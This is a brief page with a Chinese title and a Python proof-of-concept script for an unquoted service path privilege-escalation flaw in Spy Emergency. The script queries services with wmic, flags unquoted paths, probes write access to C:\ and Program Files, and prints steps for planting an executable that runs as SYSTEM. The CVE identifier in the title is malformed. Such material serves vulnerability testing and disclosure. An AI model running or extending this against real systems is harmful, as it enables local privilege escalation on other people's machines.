CVE-2021-2021-47845 Spy Emergency 未引号服务路径权限提升漏洞

# CVE-2021-47845 PoC - Spy Emergency Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Spy Emergency import os import sys import subprocess def check_vulnerable_service(): """ Check if Spy Emergency services have unquoted service paths """ try: # Query Windows services for Spy Emergency cmd = 'wmic service where "name like \'%SpyEmergency%\'" get name,pathname,state,startmode' result = subprocess.check_output(cmd, shell=True, text=True) print("[+] Spy Emergency Services:") print(result) # Check for unquoted paths with spaces services = result.strip().split('\n')[1:] for service in services: if ' ' in service and '"' not in service: print(f"[!] VULNERABLE: Unquoted path detected in: {service}") except Exception as e: print(f"[-] Error checking services: {e}") def check_write_permissions(): """ Check if current user has write permissions to vulnerable paths """ vulnerable_paths = [ r'C:\Program.exe', r'C:\Program Files\SpyEmergencyHealth.exe' ] print("\n[+] Checking write permissions to potential injection points...") for path in vulnerable_paths: directory = os.path.dirname(path) try: test_file = os.path.join(directory, 'test_write.tmp') with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print(f"[+] WRITE access to: {directory}") print(f"[+] Attacker could place malicious executable at: {path}") except: print(f"[-] No write access to: {directory}") def main(): print("=" * 60) print("CVE-2021-47845 - Spy Emergency Unquoted Service Path PoC") print("=" * 60) check_vulnerable_service() check_write_permissions() print("\n[!] Exploitation requires:") print(" 1. Write access to intermediate directory") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious executable will execute with SYSTEM privileges") if __name__ == "__main__": main()